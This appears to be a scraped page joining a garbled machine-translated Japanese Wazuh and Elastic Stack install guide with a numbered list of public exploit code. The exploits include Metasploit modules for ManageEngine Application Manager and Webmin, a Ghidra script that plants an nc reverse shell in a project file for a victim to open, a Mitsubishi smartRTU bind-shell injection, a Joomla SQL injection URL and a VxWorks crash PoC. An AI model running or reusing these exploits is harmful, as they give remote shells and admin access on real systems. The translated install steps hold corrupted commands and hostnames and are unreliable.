``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。 config.python=[ //デフォルトのインストール { bin: 'python'、 lib3360 '' }、 //Centos 6のパッケージ「Python27」 { bin: '/opt/rh/python27/root/usr/bin/python'、 lib: '/opt/rh/python27/root/usr/lib64' } ]; Centos 6とRed Hat 6にはPython 2.6が付属していますが、Python 2.7を並行してインストールして、古いバージョンと互換性があります a。 Centos 6の場合: #yum install -y centos-release-scl #yum install -y python27 b。 RHEL 6の場合: #yumインストールpython27 次のコマンドを使用して、最初にPython27を取得することを最初に有効にする必要がある場合があります。 #yum-config-manager -enable rhui-region-rhel-server-rhscl #yum-config-manager -enable rhel-server-rhscl-6-rpms 3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。 #yumインストールwazuh-api 4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。 A.SystemD: #SystemCTLステータスWazuh-API B. sysv init: #サービスwazuh-apiステータス 5。(オプション)wazuhアップデートを無効にするソース: 偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。 #sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo filebeatのインストール FileBeatは、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができるWazuhサーバー上のツールです 警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。 RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへのインストールに適しています ElasticからGPGキーをインストールしてから、弾性更新ソースをインストールします。 #rpm -import https://packages.lastic.co/gpg-key-elasticsearch #cat /etc/yum.repos.d/elastic.repo eof [Elasticsearch-6.x] name=6.xパッケージのElasticsearchリポジトリ baseurl=https://Artifacts.Elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch 有効=1 AutoreFresh=1 type=rpm-md EOF 2。filebeatをインストールします: #yumインストールfilebeat-6.6.0 3. Wazuhリポジトリからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。 #curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml 4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば: output: logstash: hosts: ['elastic_server_ip33605000'] 5。ファイルビートサービスを開始します: A.SystemD: #SystemCtl Daemon-Reload #SystemCtl enable filebeat.service #SystemCtl filebeat.Serviceを開始します B. sysv init: #chkconfig -add filebeat #サービスfilebeat start 6。(オプション)Elasticsearchリポジトリを無効にします。 ElasticSearchの更新ソースを無効にして、新しい弾性スタックバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。 #sed -i 's/^enabled=1/enabled=0/' /etc/yum.repos.d/Elastic.rep Debパッケージを使用してWazuhサーバーをインストールします Debian/Ubuntuプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、リポジトリを追加した後に関連するソフトウェアパッケージをインストールする必要があります。以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。 wazuh更新ソースを追加 Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。 このプロセスを実行するには、Curl、Apt-Transport-HTTPS、およびLSBリリースパッケージをシステムにインストールする必要があります。それらがインストールされていない場合は、次のコマンドを使用してそれらをインストールします。 #apt-getアップデート #apt-get install curl apt-transport-https lsb-release /usr/bin/pythonファイルが存在しない場合(ubuntu 16.04 lts以降など)、次のコマンドを使用してpython(2.7以降)を作成します。 # もし [ ! -f/usr/bin/python];その後、ln -s/usr/bin/python3/usr/bin/python; fi 2. GPGキーをインストールします #curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add- 3.更新ソースを追加します #echo 'deb https://packages.wazuh.com/3.x/apt/stable main' | Tee -a /etc/apt/sources.list.d/wazuh.list 4。パッケージを更新します #apt-getアップデート Wazuh Managerのインストール ターミナルで、Wazuhマネージャーをインストールしてください。 #apt-get wazuh-managerをインストールします このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。 a。 SystemDの場合: #SystemCTLステータスWazuh-Manager B. sysv init: #サービスwazuh-managerステータス wazuh api のインストール Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。 #curl -sl https://deb.nodesource.com/setup_8.x |バッシュ - ubuntu 12.04(正確)またはdebian 7(wheezy)を使用している場合、次のコマンドを使用してnodejs 6をインストールする必要があります。 #curl-slhttps://deb.nodesource.com/setup_6.x | bash- 次に、nodejsをインストールします。 #apt-get install nodejs 2。APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。 システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。 #python -version ``/var/ossec/api/configuration/config.js``でAPIのカスタムPythonパスを設定することができます。 config.python=[ //デフォルトのインストール { bin: 'python'、 lib3360 '' }、 //Centos 6のパッケージ「Python27」 { bin: '/opt/rh/python27/root/usr/bin/python'、 lib: '/opt/rh/python27/root/usr/lib64' } ]; 3. Wazuh APIをインストールします。必要に応じてnodejsを更新します。 #apt-get wazuh-apiをインストールします 4。このプロセスを完了した後、次のコマンドを使用してサービスステータスを確認できます。 A.SystemD: #SystemCTLステータスWazuh-API B. sysv init: #サービスwazuh-apiステータス 5。(オプション)Wazuhアップデートを無効にします: 偶発的なエスカレーションを防ぐために、Wazuhアップデートソースを無効にすることをお勧めします。これを行うには、次のコマンドを使用します。 #sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/wazuh.list #apt-getアップデート または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます) #echo 'wazuh-manager hold' | sudo dpkg - セット選択 #echo 'wazuh-api hold' | sudo dpkg - セット選択 filebeatのインストール FileBeatは、Wazuhサーバー上のツールであり、Elastic Stack ServerのLogstashサービスにイベントを安全に転送し、アーカイブすることができます。 警告:単一のホストアーキテクチャ(Wazuh ServerとElastic Stackが同じシステムにインストールされています)では、FileBeatは必要ありません。Logstashは、フォワーダーを必要とせずにローカルファイルシステムからイベント/アラートデータを直接読み取ることができるためです。 Debパッケージは、Debian、Ubuntu、およびその他のDebianベースのシステムに適しています。 ElasticからGPGキーをインストールしてから、弾性リポジトリをインストールします。 #curl -S https://Artifacts.Elastic.co/gpg-key-elasticsearch | apt -key add- #echo 'deb https://artifacts.elastic.co/packages/6.x/apt stable main' | Tee /etc/apt/sources.list.d/elastic-6.x.list #apt-getアップデート 2。filebeatをインストールします: #apt-get install filebeat=6.6.0 3. Wazuh Updateソースからファイルビート構成ファイルをダウンロードします。これは、WazuhアラートをLogstashに転送するために事前に構成されています。 #curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/filebeat/filebeat.yml 4. file /etc/filebeat/filebeat.ymlを編集し、Elastic Stack ServerのIPアドレスまたはホスト名としてelastic_server_ipを置き換えます。例えば: output: logstash: hosts: ['elastic_server_ip33605000'] 5。ファイルビートサービスを開始します: A.SystemD: #SystemCtl Daemon-Reload #SystemCtl enable filebeat.service #SystemCtl filebeat.Serviceを開始します B. sysv init: #update-rc.d filebeatデフォルト95 10 #サービスfilebeat start 6。(オプション)Elasticsearchの更新を無効にします: ElasticSearの更新ソースを無効にして、新しいElastic Stackバージョンへのアップグレードを防ぐことをお勧めします。これには、次のコマンドを使用してください。 #sed -i 's/^deb/#deb/'/etc/apt/sources.list.d/elastic-6.x.list #apt-getアップデート または、パッケージステータスを保持するように設定することもできます。これにより、更新が停止します(ただし、手動でアップグレードできます) #echo 'filebeat hold' | sudo dpkg - セット選択 弾性スタックのインストール このガイドでは、Logstash、Elasticsearch、Kibanaで構成される弾性スタックサーバーのインストールを紹介します。これらのパッケージベースのコンポーネントインストールについて説明します。ソースからTARをコンパイルしてインストールすることもできますが、これはWazuhドキュメントの好ましいインストールではありません。 弾性スタックコンポーネントに加えて、Wazuhアプリケーション(Kibanaプラグインとして展開)のインストールと構成の手順も見つけることができます。 オペレーティングシステムに応じて、RPMまたはDEBパッケージから弾性スタックをインストールすることを選択できます。以下の表を参照して選択してください。 タイプ説明RPMパッケージ Centos/rhel/fedoraに弾性スタックを取り付けます デブパッケージ debian/ubuntuに弾性スタックを取り付けます 知らせ 現在、Elastic Stackは64ビットオペレーティングシステムのみをサポートしています RPMパッケージを使用して弾性スタックをインストールします RPMパッケージは、Red Hat、Centos、その他のRPMベースのシステムへの設置に適しています。 注:次のコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。 準備 LogstashとElasticsearchにはOracle Java JRE 8が必要です。 注:次のコマンドは、Oracle Java JREをダウンロードするためにCookieを持参する必要があります。詳細については、Oracle Java 8 JREダウンロードページをご覧ください。 #curl -lo jre-8-linux-x64.rpm - Header 'cookie: Oraclelicense=Accect-securebackup-cookie'https://doldoad.oracle.com/otn-pub/java/jdk/8U202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-lunux-x64.rpm' 次に、パッケージが正常にダウンロードされたかどうかを確認します。 #RPM -QLP JRE-8-LINUX-X64.RPM /DEV /NULL 21CHO'JAVAパッケージは正常にダウンロードされました '|| ECHO'JAVAパッケージは正常にダウンロードしませんでした' 最後に、Yumを使用してRPMパッケージをインストールします。 #yum -yインストールjre-8-linux-x64.rpm #RM -F JRE-8-LINUX-X64.RPM 2。弾性リポジトリとそのGPGキーをインストールします。 #rpm -import https://packages.lastic.co/gpg-key-elasticsearch #cat /etc/yum.repos.d/elastic.repo eof [Elasticsearch-6.x] name=6.xパッケージのElasticsearchリポジトリ baseurl=https://Artifacts.Elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch 有効=1 AutoreFresh=1 type=rpm-md EOF ElasticSearch ElasticSearchは、非常にスケーラブルなフルテキスト検索および分析エンジンです。詳細については、elasticsearchを参照してください。 ElasticSearchパッケージをインストールします: #yumインストールElasticsearch-6.6.0 2。ElasticSearchサービスを開始します。 A.SystemD: #SystemCtl Daemon-Reload #SystemCtl Enable ElasticSearch.Service #SystemCtl Start ElasticSearch.Service B. sysv init: #chkconfig -add elasticsearch #サービスElasticSearch Start ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。 #curl 'http://LocalHost3:9200/?pretty' { 'name' : 'zr2shu_'、 'cluster_name' : 'elasticsearch'、 'cluster_uuid' : 'M-w_rznzra-cxykh_ojscq'、 'バージョン' : { 「番号」: '6.6.0'、 'build_flavor' : 'デフォルト'、 'build_type' : 'rpm'、 'build_hash'
  10. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution", 'Description' => %q( This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 9090, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username']), OptString.new('PASSWORD', [true, 'OpManager Password']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(cookie, platform, @dir) end def file_up(cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(cookie, action) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.do'), ) # For this part the build control will be placed. if res && res.code == 200 && res.body.include?('Build No:142') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'submit' => 'Login' } ) if res && res.code == 303 res = send_request_cgi( 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies send_sqli(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(cookies) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) print @uname + "//" + @pwd puts res.body if res && res.code == 303 print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(@cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end
  11. #Exploit Title: Joomla! component com_jsjobs - SQL Injection #Dork: inurl:"index.php?option=com_jsjobs" #Date: 11.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/5/download/1 #Version: 1.2.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 296 in file site/models/cities.php 291 function isCityExist($countryid, $stateid, $cityname){ 292 if (!is_numeric($countryid)) 293 return false; 294 295 $db = $this->getDBO(); 296 $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'"; //!!! 297 298 if($stateid > 0){ 299 $query .= " AND stateid=".$stateid; 300 }else{ 301 $query .= " AND (stateid=0 OR stateid IS NULL)"; 302 } 303 305 $db->setQuery($query); 306 $city = $db->loadObject(); 307 if ($city != null) 308 return $city; 309 else 310 return false; 311 } 312 313 } ##################################### #PoC: ##################################### http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada
  12. import os import inspect import argparse import shutil from shutil import copyfile print("") print("") print("################################################") print("") print("------------------CVE-2019-13623----------------") print("") print("################################################") print("") print("-----------------Ghidra-Exploit-----------------") print("--Tested version: Ghidra Linux version <= 9.0.4-") print("------------------------------------------------") print("") print("################################################") print("") print("----------Exploit by: Etienne Lacoche-----------") print("---------Contact Twitter: @electr0sm0g----------") print("") print("------------------Discovered by:----------------") print("---------https://blog.fxiao.me/ghidra/----------") print("") print("--------Exploit tested on Ubuntu 18.04----------") print("-----------------Dependency: zip----------------") print("") print("################################################") print("") print("") parser = argparse.ArgumentParser() parser.add_argument("file", help="Path to input export .gar file",default=1) parser.add_argument("ip", help="Ip to nc listener",default=1) parser.add_argument("port", help="Port to nc listener",default=1) args = parser.parse_args() if args.ip and args.port and args.file: rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) path = "../Ghidra/Features/Decompiler/os/linux64/decompile" os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/") os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile") os.system("chmod +x decompile") copyfile("decompile",path) copyfile(args.file,rootDirURL+"/"+"project.gar") os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile") os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip project.gar") os.system("rm decompile README_BEFORE_OPEN_GAR_FILE") os.system("rm project.gar") print("You can now share project.zip and start your local netcat listener.") print("") print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR") print("root path for payload execution.") print("")
  13. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE', 'Description' => %q{ This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-'], ['URL', 'https://www.pentest.com.tr'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.910', {}]], 'DisclosureDate' => 'May 16 2019', 'DefaultTarget' => 0) ) register_options [ OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Target and input verification ## def check # check passwd change priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "password_change.cgi"), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" }) if res && res.code == 200 && res.body =~ /Failed/ res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" }) if res && res.code == 200 && res.body =~ /password_change.cgi/ return CheckCode::Vulnerable else return CheckCode::Safe end else return CheckCode::Safe end end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end command = payload.encoded print_status("Attempting to execute the payload...") handler res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss" }) end end
  14. #!/usr/bin/python # Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated OS Command Injection # Date: 29 June 2019 # Exploit Author: (@xerubus | mogozobo.com) # Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local # Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/ # Firmware Version: Misubishi Electric 2.02 & INEA 3.0 # CVE-ID: CVE-2019-14931 # Full write-up: https://www.mogozobo.com/?p=3593 import sys, os, requests, socket os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= Bind_Me-smartRTU by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) host = raw_input("Enter RTU IP address: ") port = raw_input("Enter bind shell port number: ") php_page = '/action.php' url = "http://{}{}".format(host, php_page) payload = {'host' : ';sudo /usr/sbin/service ../../bin/nc -nvlp '+port+' -e /bin/sh&PingCheck=Test'} print "\n[+] Building payload" print "[+] Sending payload" print "[+] Attempting connection to smartRTU" try: r = requests.post(url, data=payload, timeout=1) except: pass port = (int(port)) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) try : print "[+] Connected to the smartRTU!\n" while 1: cmd = raw_input("(smartRTU-shell) # "); s.send(cmd + "\n"); result = s.recv(1024).strip(); if not len(result) : print "\n[!] Play nice now skiddies....\n\n" s.close(); break; print(result); except KeyboardInterrupt: print "\n[+] ^C Received, closing connection" s.close(); except EOFError: print "\n[+] ^D Received, closing connection" s.close(); except socket.error: print "[!] Failed to connect to bind shell."
  15. #!/usr/bin/python # Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated Configuration Download # Date: 29 June 2019 # Exploit Author: (@xerubus | mogozobo.com) # Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local # Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/ # Firmware Version: Misubishi Electric 2.02 & INEA 3.0 # CVE-ID: CVE-2019-14927 # Full write-up: https://www.mogozobo.com/?p=3593 import sys, os, requests, socket os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= Conf_Me-smartRTU by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) host = raw_input("Enter RTU IP address: ") php_page = '/saveSettings.php' url = "http://{}{}".format(host, php_page) print "[+] Attempting to download smartRTU configuration file" r = requests.get(url) if r.status_code == 200: print "[+] Successfully obtained smartRTU configuration file.. saving to smartRTU_conf.xml\n" with open('smartRTU_conf.xml', 'w') as f: f.write(r.content)
  16. # Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability # Discovered By: Armis Security # PoC Author: Zhou Yu (twitter: @504137480) # Vendor Homepage: https://www.windriver.com # Tested on: VxWorks 6.8 # CVE: CVE-2019-12255 # More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255 # The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc. from scapy.all import * if __name__ == "__main__": ip = "192.168.10.199" dport = 23 seq_num = 1000 payload = "\x42"*2000 sport = random.randint(1024,65535) syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num) syn_ack = sr1(syn) seq_num = seq_num + 1 ack_num = syn_ack.seq+1 ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num) send(ack) psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload send(psh)
  17. VULNERABILITY DETAILS https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66 ``` Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString, const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame) { Ref<Document> ownerDocument(sourceNode->document()); bool sourceIsDocument = (sourceNode == &ownerDocument.get()); String documentSource = sourceString; RefPtr<Document> result; if (sourceMIMEType == "text/plain") { result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL()); transformTextStringToXHTMLDocumentString(documentSource); } else result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL()); // Before parsing, we need to save & detach the old document and get the new document // in place. We have to do this only if we're rendering the result document. if (frame) { [...] frame->setDocument(result.copyRef()); } auto decoder = 